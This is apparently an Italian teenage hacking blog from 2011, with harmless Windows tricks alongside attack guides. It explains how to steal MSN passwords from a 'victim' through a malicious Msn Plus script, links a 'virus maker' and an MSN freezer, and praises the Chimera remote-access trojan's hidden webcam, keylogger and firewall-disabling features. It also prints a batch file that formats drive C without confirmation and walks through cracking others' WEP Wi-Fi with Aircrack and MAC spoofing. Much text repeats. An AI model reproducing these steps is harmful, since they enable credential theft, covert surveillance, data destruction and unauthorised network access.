- Trucchi PinBall:
Trucco1: apriamo pinball premiamo F2 e scriviamo (da nessuna parte, premiamo semplicemente i tasti) hidden test. Bene, adesso manovrate la pallina con il mouse.
Trucco2: apriamo pinball premiamo F2 e scriviamo bmax lanciate una volta sola la palla e il pc fa tutto da solo, anche se la palla cadrà giù, magicamente si ricreerà in mezzo al flippy e non perderete palline, lui rimbalza e poi cade, si ricrea e rimbalza di novo cade ecc...
- Cartoni animati nel prompt dei comandi Fg:
Andiamo su Start>Esegui e scriviamo telnet, si aprirà un prompt dove voi scriverete o spunterà qui dobbiamo scrivere towel.blinkenlights.nl
ok adesso aspettate un po' e partirà il cartone Star Wars (in caratteri asci)
- Paint:
Apriamo paint, andiamo dove dice "visualizza" e lasciamo il menù aperto, premiamo la lettura V e il nostro disegno sarà a schermo intero... una specie di anteprima...
- Solitario:
Apriamo solitario e premiamo Alt+Shoft+2
L'Arte Dell'Hack !
BENVENUTI NEL BLOG DI DAVIDE !
Benvenuti Nel Blog DI SpaMMeR HaCkeR,questo blog non insegna metodi per distruggere ma metodi per creare,questo blog non insegna metodi per attaccare,ma metodi per difendersi,per difendersi dal mondo che c'è là fuori,un mondo pieno di persone che non ti guarderanno in faccia ma ti ci metteranno un piede sopra,un mondo a cui non importi,un mondo che se muore o vive qualkuno resta indefferente,questo blog vuole aprirti gli occhi per farti vedere che mondo e che società di merda c'è li fuori,e non pensate che qualkuno vi salverà,no,dovete imparare a difendervi da soli perchè li fuori non importate a nessuno se non a voi stessi...e poi chiamano criminali noi hacker solo perchè siamo curiosi,perchè vogliamo conoscere la vera verità e non la verità che ci impongono...Benvenuto nel forum di Davide...un ragazzo di 16 anni che però ha aperto gli occhi già da tempo...
sabato 19 febbraio 2011
venerdì 28 gennaio 2011
Rubare Password MSN
Rubare Password Msn con uno Script Plus
Questa guida è solo a scopo informativo, come al solito, e serve a prevenire alcuni tentativi di lamering, perchè per sconfiggere un nemico, bisogna prima conoscerlo!
Come rubare la password di msn usando un semplice script per Msn Plus? Eccovi la guida!
Prima di tutto scaricate lo script rubaPass da qui http://www.mediafire.com/?cw0zmhj3tfi, scompattate l'archivio ed importate lo script contenuto al suo interno.
Aprite la finestra di dialogo di un vostro contatto e cliccate nei 3 cubetti colorati di msg plus, andate alla voce "ruba pass" e cliccate su "msgXs" in questo modo invierà uno script alla vostra vittima, che ovviamente dovrà accettarlo.
La vittima sarà obbligata a riavviare msn, quando si riconnetterà vi apparirà un messaggio che vi dici di inviare un qualsiasi messaggio alla vittima(anche ciao). Quando la vittima vi risponderà cliccate di nuovo sui tre quadratini, andate alla voce "ruba pass" e cliccate "Richiedi password". Come per magia vi apparirà la password della vittima!
Per Attivare L'hack bisogna che sia voi sia le vostre vittime abbiate Msn Plus
http://www.mediafire.com/?cw0zmhj3tfi
GUIDA BY SpaMMeR°HaCkeR
Questa guida è solo a scopo informativo, come al solito, e serve a prevenire alcuni tentativi di lamering, perchè per sconfiggere un nemico, bisogna prima conoscerlo!
Come rubare la password di msn usando un semplice script per Msn Plus? Eccovi la guida!
Prima di tutto scaricate lo script rubaPass da qui http://www.mediafire.com/?cw0zmhj3tfi, scompattate l'archivio ed importate lo script contenuto al suo interno.
Aprite la finestra di dialogo di un vostro contatto e cliccate nei 3 cubetti colorati di msg plus, andate alla voce "ruba pass" e cliccate su "msgXs" in questo modo invierà uno script alla vostra vittima, che ovviamente dovrà accettarlo.
La vittima sarà obbligata a riavviare msn, quando si riconnetterà vi apparirà un messaggio che vi dici di inviare un qualsiasi messaggio alla vittima(anche ciao). Quando la vittima vi risponderà cliccate di nuovo sui tre quadratini, andate alla voce "ruba pass" e cliccate "Richiedi password". Come per magia vi apparirà la password della vittima!
Per Attivare L'hack bisogna che sia voi sia le vostre vittime abbiate Msn Plus
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GUIDA BY SpaMMeR°HaCkeR
Scarica le tue musiche di youtube in mp3
copia il link del video che stai vedendo su youtube e incollalo qui http://www.vidtomp3.com/ ora fai download,download e avrai la tua musica in poki secondi scarikata in mp3
Sito Alternativo sugerito da ben'hacker www.video2mp3.net/it/
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MSN Freezer Scarikalo da Qui !!
L'unico msn freezer ancora funzionante al 100% Testato,se viene riconosciuto come virus è normale ma nn vi preoccupate non lo è ekko il link http://www.mediafire.com/?mnmhxmkz0to FATE UN BUON USO E NON FATE CAZZATE !!
Scarica Gratis VIRUS MAKER !
scaricate e provate il virus maker http://www.mediafire.com/?e1qnvmtkw40
Chimera R3V3R53
Buon Pomeriggio a tutti. Questo Post e stato creato da -System32- essenzialmente per chi non sapesse cos'è Chimera R3v3r53. Quindi, non vi resta altro che leggerlo
Quali sono le novità del Chimera R3v3r53 ?
A differenza del Chimera, il Chimera R3v3r53, come dice la stessa parola, ha una connessione inversa, molto utile per agire indisturbatamente. Ma cos'è una connessione inversa, detta anche "Reverse Connection" ?
Una reverse connection, è un metodo per far comunicare Client e Server, in modo non ordinario. Tutti siamo abituati a pensare che il client si colleghi al server ma in questo caso tutto funzionerà al contrario quindi: il server si collegherà e il client rimarrà in ascolto per accettare la connessione. Una reverse connection è molto utile, basti pensare che, la maggior parte degli utilizzatori della rete ha deciso di connettersi utilizzando un oggettino molto carino: IL ROUTER! Rovina per "noi" curiosoni. Come ben saprete tutti il router blocca le connessioni in entrata al pc, quindi i vecchi trojan a connessione via ip lo prendono nel culo. Invece, con il metodo "REVERSE", si bypassa il fatto che le connessioni in entrata vengano bloccate.
Cos'è Chimera R3v3r53 ?
Chimera è un Tool di Gestione remota, ma...cos'è un Tool di Gestione remota ? Il Tool di Gestione remota è un Programma che permette il controllo di un PC (qualsiasi) in Remoto. Come tale, esso è chiamato così perchè usa una "porta di servizio" per funzionare. Al giorno d'oggi, sul Web esistono tantissimi tipi di Tool di Gestione remota, ma purtroppo nessuno funziona, a meno che non sia a pagamento. Fatta questa piccola precisazione su cos'è un Tool di Gestione remota, torniamo a parlare di Chimera. Come detto precedentemente, Chimera, essendo un Tool di Gestione remota, e funzionando tramite delle "porte di servizio" del PC infetto, è composto da 2 elementi principali (come dal tronde ogni tipo di Tool di Gestione remota) : Client e Server. Ma cosa sono questi "componenti" ?
Client : Programma integrato nel Tool di Gestione remota che serve a "lanciare" i comandi di richiesta al Server. (gestito dall'utente che vuole entrare nel PC della "vittima"
Server : La parte più importante del Tool di Gestione remota che deve essere eseguita dall'utente "vittima" per far funzionare il Client.
Ma adesso che so cos'è un Tool di Gestione remota, e cos'è Chimera, come faccio a capire come funziona ?
Ogni tipo di Tool di Gestione remota, è basato su una serie di funzioni continue, chiamate Input ed Output; vediamo cosa sono:
Input : L'Input è il "comando" che il Client manda al Server
Output : L'Output invece è la "risposta" che il Server da al Client, di conseguenza, il comando richiesto dall'input, verrà avviato (sul PC della "vittima").
Quali sono le funzionalità di Chimera ?
Chimera, nella sua completezza, nonchè nella sua pefezione, ha molte funzioni che adesso vi elenco con la relativa spiegazione :
Taskmanager : Serve per controllare e gestire tutti i processi del PC "vittima".
Chat con il Remoto : Come dice lo stesso nome, questa funzione avvia una Chat col PC remoto.
Cattura lo schermo : Questa funziona cattura lo schermo del PC remoto.
Invia messaggi : Questa funzione invia messaggi alert di errore, informazione al PC remoto.
Invia domanda : Questa funziona invia una domanda al PC remoto tramire un alert.
Info PC remoto : Questa funziona serve per vedere le informazioni del PC remoto.
Webcam remota : Questa funziona attiva "inconsapevolmente" la Webcam dalla "vittima".
Stampa un testo : Questa funziona stampa un testo da voi scritto sulla stampante del PC remoto.
Sistema remoto : Questa funzione permette di :
Riavviare il PC
Spegnere il PC
Leggere orario
Disconnettere WEB
Nascondere orario
Nascondere barra degli strumenti
Cambiare nome al PC
Cambiare orario
Disabilitare Firewall
Disconnettere utente
Leggere nome PC
Leggere HomePage di Internet Explorer
Spegnere Monito
Mostrare orario
Mostrare barra degli strumenti
Cambiare HomePage di Internet Explorer
Versione di Windows
Keylogger : Questa funzione attiva il Keylogger sul PC remoto, ovvero, potrete vedere tutto ciò che viene digitato dal PC remoto
Stato Client : Questa funzione vi permette di controllare lo stato del Client, e delle varie porte tramite le quali esso si connette al Server per avviare le funzioni.
Mouse remoto : Questa funzione permette di controllare il Mouse del PC remoto, fornendoci informazioni anche sulle coordinate di quest'ultimo.
Prompt Dos : Questa funziona è una vera "chicca", permette di lanciare comandi al PC remoto come se stessimo usando il suo CMD, quindi pensate che in questa funzione sono integrati tutti i comandi del CMD.
Lista IP : Questa "sezione" è importante, perchè serve per controllare gli IP dei PC remoti che hai "installato" il Server
Divertimento : Questa funzione è davvero DIVERTENTE AsD, perchè permette di fare cose davvero particolari :
Aprire il CD-ROM
Nascondi Start
Disabilita Start
Nascondi Task
Nascondi icone
Svuota cestino
LED impazziti
Disabilita Task Manager
Disabilita icone
Chiudi CD-ROM
Mostra Start
Abilita Start
Mostra Task Manager
Visualizza icone
Inverti Desktop
Rompi il Desktop
Abilita Task Manager
Abilita icone
Reset : Questa funzione permette di Resettare il tutto
Audio : Questa funzione permette di abilitare/disabilitare l'audio del PC remoto.
Personalizza : Questa funzione serve per personalizzare le funzioni del Server
File Manager : Questa funzione permette di gestire i file del PC remoto
Download : Questa funzione permette di Downloadare ogni tipo di file presente nel PC remoto
About : In questa "sezione" sono presenti le informazioni su Chimera.
Edit Server : Questa funzione è la più importante, permette di "editare" il Server da inviare alla "vittima".
Bene, adesso che sapete tutto su Chimera R3v3r53, e sui Tool di Gestione remota, non mi resta che invitarvi a provarlo. Per info, contattate Hacker's God
Quali sono le novità del Chimera R3v3r53 ?
A differenza del Chimera, il Chimera R3v3r53, come dice la stessa parola, ha una connessione inversa, molto utile per agire indisturbatamente. Ma cos'è una connessione inversa, detta anche "Reverse Connection" ?
Una reverse connection, è un metodo per far comunicare Client e Server, in modo non ordinario. Tutti siamo abituati a pensare che il client si colleghi al server ma in questo caso tutto funzionerà al contrario quindi: il server si collegherà e il client rimarrà in ascolto per accettare la connessione. Una reverse connection è molto utile, basti pensare che, la maggior parte degli utilizzatori della rete ha deciso di connettersi utilizzando un oggettino molto carino: IL ROUTER! Rovina per "noi" curiosoni. Come ben saprete tutti il router blocca le connessioni in entrata al pc, quindi i vecchi trojan a connessione via ip lo prendono nel culo. Invece, con il metodo "REVERSE", si bypassa il fatto che le connessioni in entrata vengano bloccate.
Cos'è Chimera R3v3r53 ?
Chimera è un Tool di Gestione remota, ma...cos'è un Tool di Gestione remota ? Il Tool di Gestione remota è un Programma che permette il controllo di un PC (qualsiasi) in Remoto. Come tale, esso è chiamato così perchè usa una "porta di servizio" per funzionare. Al giorno d'oggi, sul Web esistono tantissimi tipi di Tool di Gestione remota, ma purtroppo nessuno funziona, a meno che non sia a pagamento. Fatta questa piccola precisazione su cos'è un Tool di Gestione remota, torniamo a parlare di Chimera. Come detto precedentemente, Chimera, essendo un Tool di Gestione remota, e funzionando tramite delle "porte di servizio" del PC infetto, è composto da 2 elementi principali (come dal tronde ogni tipo di Tool di Gestione remota) : Client e Server. Ma cosa sono questi "componenti" ?
Client : Programma integrato nel Tool di Gestione remota che serve a "lanciare" i comandi di richiesta al Server. (gestito dall'utente che vuole entrare nel PC della "vittima"
Server : La parte più importante del Tool di Gestione remota che deve essere eseguita dall'utente "vittima" per far funzionare il Client.
Ma adesso che so cos'è un Tool di Gestione remota, e cos'è Chimera, come faccio a capire come funziona ?
Ogni tipo di Tool di Gestione remota, è basato su una serie di funzioni continue, chiamate Input ed Output; vediamo cosa sono:
Input : L'Input è il "comando" che il Client manda al Server
Output : L'Output invece è la "risposta" che il Server da al Client, di conseguenza, il comando richiesto dall'input, verrà avviato (sul PC della "vittima").
Quali sono le funzionalità di Chimera ?
Chimera, nella sua completezza, nonchè nella sua pefezione, ha molte funzioni che adesso vi elenco con la relativa spiegazione :
Taskmanager : Serve per controllare e gestire tutti i processi del PC "vittima".
Chat con il Remoto : Come dice lo stesso nome, questa funzione avvia una Chat col PC remoto.
Cattura lo schermo : Questa funziona cattura lo schermo del PC remoto.
Invia messaggi : Questa funzione invia messaggi alert di errore, informazione al PC remoto.
Invia domanda : Questa funziona invia una domanda al PC remoto tramire un alert.
Info PC remoto : Questa funziona serve per vedere le informazioni del PC remoto.
Webcam remota : Questa funziona attiva "inconsapevolmente" la Webcam dalla "vittima".
Stampa un testo : Questa funziona stampa un testo da voi scritto sulla stampante del PC remoto.
Sistema remoto : Questa funzione permette di :
Riavviare il PC
Spegnere il PC
Leggere orario
Disconnettere WEB
Nascondere orario
Nascondere barra degli strumenti
Cambiare nome al PC
Cambiare orario
Disabilitare Firewall
Disconnettere utente
Leggere nome PC
Leggere HomePage di Internet Explorer
Spegnere Monito
Mostrare orario
Mostrare barra degli strumenti
Cambiare HomePage di Internet Explorer
Versione di Windows
Keylogger : Questa funzione attiva il Keylogger sul PC remoto, ovvero, potrete vedere tutto ciò che viene digitato dal PC remoto
Stato Client : Questa funzione vi permette di controllare lo stato del Client, e delle varie porte tramite le quali esso si connette al Server per avviare le funzioni.
Mouse remoto : Questa funzione permette di controllare il Mouse del PC remoto, fornendoci informazioni anche sulle coordinate di quest'ultimo.
Prompt Dos : Questa funziona è una vera "chicca", permette di lanciare comandi al PC remoto come se stessimo usando il suo CMD, quindi pensate che in questa funzione sono integrati tutti i comandi del CMD.
Lista IP : Questa "sezione" è importante, perchè serve per controllare gli IP dei PC remoti che hai "installato" il Server
Divertimento : Questa funzione è davvero DIVERTENTE AsD, perchè permette di fare cose davvero particolari :
Aprire il CD-ROM
Nascondi Start
Disabilita Start
Nascondi Task
Nascondi icone
Svuota cestino
LED impazziti
Disabilita Task Manager
Disabilita icone
Chiudi CD-ROM
Mostra Start
Abilita Start
Mostra Task Manager
Visualizza icone
Inverti Desktop
Rompi il Desktop
Abilita Task Manager
Abilita icone
Reset : Questa funzione permette di Resettare il tutto
Audio : Questa funzione permette di abilitare/disabilitare l'audio del PC remoto.
Personalizza : Questa funzione serve per personalizzare le funzioni del Server
File Manager : Questa funzione permette di gestire i file del PC remoto
Download : Questa funzione permette di Downloadare ogni tipo di file presente nel PC remoto
About : In questa "sezione" sono presenti le informazioni su Chimera.
Edit Server : Questa funzione è la più importante, permette di "editare" il Server da inviare alla "vittima".
Bene, adesso che sapete tutto su Chimera R3v3r53, e sui Tool di Gestione remota, non mi resta che invitarvi a provarlo. Per info, contattate Hacker's God
giovedì 27 gennaio 2011
Creare Un Vero Virus
1) Aprire il blocco note
2) Incollarci dentro il seguente codice:
CODICE
format C: /autotest /q /u
una volta incollato il codice andare in salva con nome,mettere un nome qualsiasi e alla fine del nome aggiungere .bat per salvare il file in bat e fare ok...ATTENZIONE NON APRIRE PER NESSUN MOTIVO IL FILE CREATO ALTRIMENTI IL VOSTRO PC INIZIERà L'AUTO DISTRUZIONE NON APRITELO
IN DETTAGLIO: Questo virus formatta c: senza chiedere conferma (/q) e non permette di essere bloccata piu avanti (/u)
2) Incollarci dentro il seguente codice:
CODICE
format C: /autotest /q /u
una volta incollato il codice andare in salva con nome,mettere un nome qualsiasi e alla fine del nome aggiungere .bat per salvare il file in bat e fare ok...ATTENZIONE NON APRIRE PER NESSUN MOTIVO IL FILE CREATO ALTRIMENTI IL VOSTRO PC INIZIERà L'AUTO DISTRUZIONE NON APRITELO
IN DETTAGLIO: Questo virus formatta c: senza chiedere conferma (/q) e non permette di essere bloccata piu avanti (/u)
Creare finti messaggi di sistema
per creare un finto messaggio di sistema bisogna aprire il blocco note e mettervi il seguente codice lol=msgbox("...",20,"...") al posto dei puntini possiamo scrivere ciò che desideriamo,una volta scritto possiamo andare a capo rincollare il codice e al posto dei puntini scriverci qualkos'altro Es: lol=msgbox("il tuo pc verrà formattato",20,"errore di sistema")
lol=msgbox("stavo scherzando hai avuto paura?",20,"hahahaha")
ora andiamo in salva con nome mettiamo un nome a piacere e alla fine aggiungere .vbs facciamo ok ora se apriamo il file uscirà un messaggio di errore con le scritte messe da noi...ENJOY !!!
lol=msgbox("stavo scherzando hai avuto paura?",20,"hahahaha")
ora andiamo in salva con nome mettiamo un nome a piacere e alla fine aggiungere .vbs facciamo ok ora se apriamo il file uscirà un messaggio di errore con le scritte messe da noi...ENJOY !!!
Finto Virus in batch
Per creare un finto virus in batch che però sia capace di rallentare un pc basta fare questo:
aprire il blocco note e scrivere START,andare a capo e scrivere nuovamente START,questo procedura dovrà essere fatta almeno un centinaio di volte tramite il COPIA/INCOLLA per far sì che riesca a rallentare il pc anzi e se lo scriviamo intorno alle 500 volte si che diventa efficace.una volta finito di scrivere andate su salva file con nome e mettete il nome a vostra scelta,ma alla fine del nome aggiungete .bat così avrete il vostro impallatore salvato in formato bat
aprire il blocco note e scrivere START,andare a capo e scrivere nuovamente START,questo procedura dovrà essere fatta almeno un centinaio di volte tramite il COPIA/INCOLLA per far sì che riesca a rallentare il pc anzi e se lo scriviamo intorno alle 500 volte si che diventa efficace.una volta finito di scrivere andate su salva file con nome e mettete il nome a vostra scelta,ma alla fine del nome aggiungete .bat così avrete il vostro impallatore salvato in formato bat
Crackare una rete wifi
Inizio subito col dire che questo utile articolo che ci spiega veramente in modo comprensivo come crackare una rete wireless non è stato scritto da me ma da2befree e spero risulti utile a tutti . Ecco la guida :
Finalmente è stata rilasciata una nuova versione di Aircrack. Supportato da diversi sistemi operativi, si tratta di uno dei migliori tools per il wireless craking ed il wardriving. Se state utilizzando Linux potete seguire le istruzioni del sito Wireless Defence (anche se in inglese risulta intuitivo seguire tutti passaggi grazie alle varie immagini a supporto della documentazione). Se invece state utilizzando Windows, potete leggervi questo articolo (tratto per buona parte da Taz Forum).
Presupposti:
- Scaricate ed installate Aircrack
- Se utilizzate “Winaircrack” (Aircrack con interfaccia grafica) copiate i files peek.dll epeek5.sys all’interno della cartella di Aircrack
- Eseguiremo l’applicazione dal prompt di DOS: per poter eseguire il programma anche se non siamo nella directory che lo contiene, cliccate col tasto destro del mouse su “Risorse del computer, Proprietà, Avanzate, Variabili d’ambiente, Modifica” portatevi alla fine della linea su cui sono già scritte altre variabili d’ambiente, inserite un punto e virgola (“;”) e scrivete il percorso in cui si trova il programma Aircrack (es. C:\Documents and Settings\2BFree\Desktop\aircrack-ng-0.3-win\aircrack-ng-0.3-win\bin)
- Avrete anche bisogno di installare dei nuovi driver per il vostro adattatore di rete: i driver originali non sono stati pensati per fare cose simili (per trovare dei driver che possano fare al caso vostro visitate il sito WildPacket)
- Per installare i nuovi driver aprite “clic destro su Risorse del Computer, Proprietà, Gestione Periferiche, clic destro sul vostro adattatore di rete, Proprietà, Driver, Aggiorna Driver, Installa da un elenco o percorso specifico” scegliete il percorso in cui avete scaricato i driver. Assicuratevi infine che il vostro adattatore di rete sia ora compatibile col tutto
Per facilitarvi la comprensione, durante i vari passi di questo tutorial fate riferimento al diagramma di flusso presente sul sito Wireless Defence. Se non avete confidenza con i “MAC Address” allora, prima di proseguire, leggetevi anche il relativo articolo:http://2befree.wordpress.com/2007/02/03/mac-address/.
Il primo passo è ovviamente quello di trovare una rete wireless . Potete andarvene in giro col vostro computer portatile a fare del wardriving oppure potete utilizzare una apposita chiavetta “Wi-fi Finder”.
Digitate “Airodump” nel prompt di DOS (Start, esegui, cmd). Vi comparirà una finestra contenete le schede di rete trovate sulla vostra macchina. Notate che accanto al nome delle schede di rete è presente un numero identificativo. Ad esempio:
14 NETGEAR WG511T 54 Mbps Wireless PC Card22 NETGEAR WAG511 802.11a/b/g Dual Band Wireless PC Card
In questo caso digitate 22, il numero identificativo della scheda che ci interessa utilizzare (in genere è quella che riporta una qualche identificazione del tipo “802.11x”).
Ora vi viene chiesto di indicare il chipset utilizzato dal vostro adattatore di rete. Ad esempio:
Interface types: ‘o’ = HermesI/Realtek
‘a’ = Aironet/Atheros
Selezionate il vostro, in questo caso scegliendo “o” oppure “a”. Per sapere quale chipset è montato sulla vostra scheda di rete potete dare uno sguardo al sito:http://www.linux-wlan.org/docs/wlan_adapters.html.gz
Ora vi sarà richiesto di inserire il numero del canale da controllare (sniffing). In genere per gli USA e l’UK utilizzate l’11, per l’Europa il 14. Se volete fare una scansione di tutti i canali utilizzate lo zero.
In seguito il programma chiederà di digitare il nome da dare al file che verrà creato a partire dalla scansione del canale. Digitate il nome che vi pare, ad esempio “WEP1”.
Ora Aircrack vi chiederà se salvare gli interi pacchetti catturati o soltanto gli IV. Per craccare una chiave WEP vi basta salvare semplicemente gli IV (il che vi farà risparmiare diverso spazio sull’hard disk, quindi digitate “y”).
Adesso vedrete una schermata simile:
BSSID = l’indirizzo MAC dell’Access Point
PWR = indica la forza del segnale che si sta ricevendo
BEACONS = sono pacchetti “in chiaro” che l’Access Point trasmette sostanzialmente per dire “sono un access point, collegati a me”
DATA = è quello che ci interessa: sono gli IV che Aircrack utilizzerà per trovarela password WEP
ENC = il tipo di incapsulamento: WEP, WPA, OPEN…
ESSID = Il nome della rete Wireless. L’SSID è una sorta di identificativo della rete. Se ad esempio l’Access Point ha come SSID il nome “pippo” allora le schede wireless che ci si vogliono connettere devono impostare a loro volta come SSID “pippo”.
Nella seconda parte dell’immagine sopra vediamo i vari client che stanno “dialogando” con l’Access Point”, più esattamente vediamo i vari indirizzi MAC dei client. Quest’informazione può risultare utile in seguito quindi annotatevi gli indirizzi MAC. Questo perché in un Access Point è possibile impostare un filtro di indirizzi MAC: in questo modo soltanto le schede di rete che hanno un indirizzo MAC riportato nel filtro potranno collegarsi. Ciò significa che anche se possediamo la chiave WEP non possiamo accedere all’Access Point a meno che l’indirizzo MAC del nostro adattatore di rete non sia stato impostato nel filtro dell’Access Point. Ad ogni modo un caso simile sarà trattato dopo, per il momento non preoccupiamocene.
Aicrack continuerà a collezionare IV finché non lo fermate. Più IV scaricate e più probabilità avete di decifrare la chiave. Non c’è un riferimento esatto del tipo “lunghezza chiave = tot numero di IV da scaricare”. In linea generale prendete per buono che per trovare una chiave WEP da 40 bit potete scaricare dai 250.000 ai 400.000 IV: Aircrack dovrebbe trovare la chiave in pochi secondi. Ad ogni modo vi conviene cominciare con pochi IV infatti, se questi non bastano ad Aircrack per trovarela chiave WEP, non dovrete ricominciare tutto da zero: basterà che quando vi verrà chiesto il nome che volete dare al file inseriate lo stesso nome che avevate già utilizzato in precedenza (in tal modo il file non verrà sovrascritto ma verrà invece “continuato”, cioè incrementato). Per una chiave da 104 bit collezionate circa 2.000.000 di IV: a volte ne bastano molti meno (anche se il programma impiegherà più tempo per trovare la chiave), altre volte purtroppo dovrete scaricarne di più…
Quando sarete soddisfatti del numero di IV collezionati premete “CTRL + C” per fermare il programma.
Scrivendo “Aircrack-ng” nel prompt vi verrà mostrata la lista dei parametri che è possibile utilizzare. Supponiamo di aver scaricato intorno ai 400.000 IV, in genere sufficienti per scovare una chiave WEP da 40 bit. Digitiamo allora il comando “aircrack-ng -n 64 WEP1.ivs”. Con il parametro “-n 64” diciamo al programma che la chiave ha una lunghezza massima di 64 bit e di non provare quindi oltre (anche perché, come già ricordato, non abbiamo ancora scaricato abbastanza IV per lunghezze di chiave maggiori). Il parametro “-f” che in questo esempio non abbiamo utilizzato serve per specificare l’intensità dell’attacco brute-force che di default è a livello 2: volendo potete specificare un livello maggiore, ad esempio 5.
Da notare anche l’estensione del file (WEP1.ivs): sarà *.ivs se avevate deciso di salvare soltanto gli IV, sarà *.cap se avevate deciso di salvare gli interi pacchetti catturati.
Se avrete fortuna il programma vi restituirà un messaggio di “KEY FOUND” seguito dal nome della chiave.
Ora che avete la chiave utilizzatela proprio come se doveste connettervi ad una vostra rete “domestica”. Se l’SSID dell’Access Point è abilitato seguite questa spiegazione; in caso contrario vi rimando all’ultimo paragrafo di questa guida.
Start, Connetti a, Connessioni di rete senza fili, Visualizza reti senza fili disponibili. Se l’SSID è abilitato (è visibile), questo vi appare nella finestra delle connessioni disponibili (e in genere potete anche vedere se utilizza il WPA o meno come sistema di cifratura). Fate doppio clic sull’icona della connessione ed inserite la password che avete trovato in precedenza: è fatta. Se non riuscite a collegarvi la causa può essere:
1) L’access Point utilizza un filtro per indirizzi MAC
2) Siete troppo lontani dall’Access Point
3) La chiave che avete trovato è errata
1) L’AP utilizza un filtro per indirizzi MAC. In precedenza vi era stato detto di annotarvi gli indirizzi MAC che stavano dialogando con l’AP. Ora la cosa più semplice da fare è:- Aspettare che uno degli indirizzi MAC annotati in precedenza si scolleghi- Cambiare il nostro indirizzo MAC in modo da renderlo uguale a quello che si è appena scollegato (MAC Spoofing)- Entrare nell’Access Point .
2) Siete troppo lontani dall’Access Point. Bisogno di spiegazioni??? Avvicinatevi…
3) La chiave che avete trovato è errata. O meglio… è possibile che sia corretta: assicuratevi di averla scritta in modo giusto. In particolar modo assicuratevi di non aver scritto eventuali zeri (“0”) come delle “O” in quanto non ci possono essere delle “O”!
Se l’SSID dell’Access Point è disabilitato nessun problema. Voi conoscete già qual è, vi è stato rivelato da Aircrack: vedi immagine sopra, ESSID. Quello che dovete fare è semplicemente inserire l’SSID trovato nelle impostazioni di connessione.Start, Connetti a, Connessioni di rete senza fili, Visualizza reti senza fili disponibili, Modifica impostazioni avanzate, Reti senza fili, Aggiungi: scrivete l’SSID così come lo ha trovato Aircrack, l’autenticazione alla rete è normalmente APERTA > scegliere la cifratura WEP, togliere il segno di spunta dalla voce “la chiave sarà fornita automaticamente” ed inserire invece la chiave WEP che avete trovato grazie ad Aircrack (nota: inserite la chiave tutta di seguito, senza i due punti (“:”) di separazione).
P.S. Per maggiori info visitate TAZ Forum.P.P.S. Se ci prendete gusto col wardriving allora visitate anche il sito http://www.wardriving.com/ dove, tra le varie cose, troverete anche un vasto elenco di molti programmi utilizzabili per questo scopo
Finalmente è stata rilasciata una nuova versione di Aircrack. Supportato da diversi sistemi operativi, si tratta di uno dei migliori tools per il wireless craking ed il wardriving. Se state utilizzando Linux potete seguire le istruzioni del sito Wireless Defence (anche se in inglese risulta intuitivo seguire tutti passaggi grazie alle varie immagini a supporto della documentazione). Se invece state utilizzando Windows, potete leggervi questo articolo (tratto per buona parte da Taz Forum).
Presupposti:
- Scaricate ed installate Aircrack
- Se utilizzate “Winaircrack” (Aircrack con interfaccia grafica) copiate i files peek.dll epeek5.sys all’interno della cartella di Aircrack
- Eseguiremo l’applicazione dal prompt di DOS: per poter eseguire il programma anche se non siamo nella directory che lo contiene, cliccate col tasto destro del mouse su “Risorse del computer, Proprietà, Avanzate, Variabili d’ambiente, Modifica” portatevi alla fine della linea su cui sono già scritte altre variabili d’ambiente, inserite un punto e virgola (“;”) e scrivete il percorso in cui si trova il programma Aircrack (es. C:\Documents and Settings\2BFree\Desktop\aircrack-ng-0.3-win\aircrack-ng-0.3-win\bin)
- Avrete anche bisogno di installare dei nuovi driver per il vostro adattatore di rete: i driver originali non sono stati pensati per fare cose simili (per trovare dei driver che possano fare al caso vostro visitate il sito WildPacket)
- Per installare i nuovi driver aprite “clic destro su Risorse del Computer, Proprietà, Gestione Periferiche, clic destro sul vostro adattatore di rete, Proprietà, Driver, Aggiorna Driver, Installa da un elenco o percorso specifico” scegliete il percorso in cui avete scaricato i driver. Assicuratevi infine che il vostro adattatore di rete sia ora compatibile col tutto
Per facilitarvi la comprensione, durante i vari passi di questo tutorial fate riferimento al diagramma di flusso presente sul sito Wireless Defence. Se non avete confidenza con i “MAC Address” allora, prima di proseguire, leggetevi anche il relativo articolo:http://2befree.wordpress.com/2007/02/03/mac-address/.
Il primo passo è ovviamente quello di trovare una rete wireless . Potete andarvene in giro col vostro computer portatile a fare del wardriving oppure potete utilizzare una apposita chiavetta “Wi-fi Finder”.
Digitate “Airodump” nel prompt di DOS (Start, esegui, cmd). Vi comparirà una finestra contenete le schede di rete trovate sulla vostra macchina. Notate che accanto al nome delle schede di rete è presente un numero identificativo. Ad esempio:
14 NETGEAR WG511T 54 Mbps Wireless PC Card22 NETGEAR WAG511 802.11a/b/g Dual Band Wireless PC Card
In questo caso digitate 22, il numero identificativo della scheda che ci interessa utilizzare (in genere è quella che riporta una qualche identificazione del tipo “802.11x”).
Ora vi viene chiesto di indicare il chipset utilizzato dal vostro adattatore di rete. Ad esempio:
Interface types: ‘o’ = HermesI/Realtek
‘a’ = Aironet/Atheros
Selezionate il vostro, in questo caso scegliendo “o” oppure “a”. Per sapere quale chipset è montato sulla vostra scheda di rete potete dare uno sguardo al sito:http://www.linux-wlan.org/docs/wlan_adapters.html.gz
Ora vi sarà richiesto di inserire il numero del canale da controllare (sniffing). In genere per gli USA e l’UK utilizzate l’11, per l’Europa il 14. Se volete fare una scansione di tutti i canali utilizzate lo zero.
In seguito il programma chiederà di digitare il nome da dare al file che verrà creato a partire dalla scansione del canale. Digitate il nome che vi pare, ad esempio “WEP1”.
Ora Aircrack vi chiederà se salvare gli interi pacchetti catturati o soltanto gli IV. Per craccare una chiave WEP vi basta salvare semplicemente gli IV (il che vi farà risparmiare diverso spazio sull’hard disk, quindi digitate “y”).
Adesso vedrete una schermata simile:
BSSID = l’indirizzo MAC dell’Access Point
PWR = indica la forza del segnale che si sta ricevendo
BEACONS = sono pacchetti “in chiaro” che l’Access Point trasmette sostanzialmente per dire “sono un access point, collegati a me”
DATA = è quello che ci interessa: sono gli IV che Aircrack utilizzerà per trovarela password WEP
ENC = il tipo di incapsulamento: WEP, WPA, OPEN…
ESSID = Il nome della rete Wireless. L’SSID è una sorta di identificativo della rete. Se ad esempio l’Access Point ha come SSID il nome “pippo” allora le schede wireless che ci si vogliono connettere devono impostare a loro volta come SSID “pippo”.
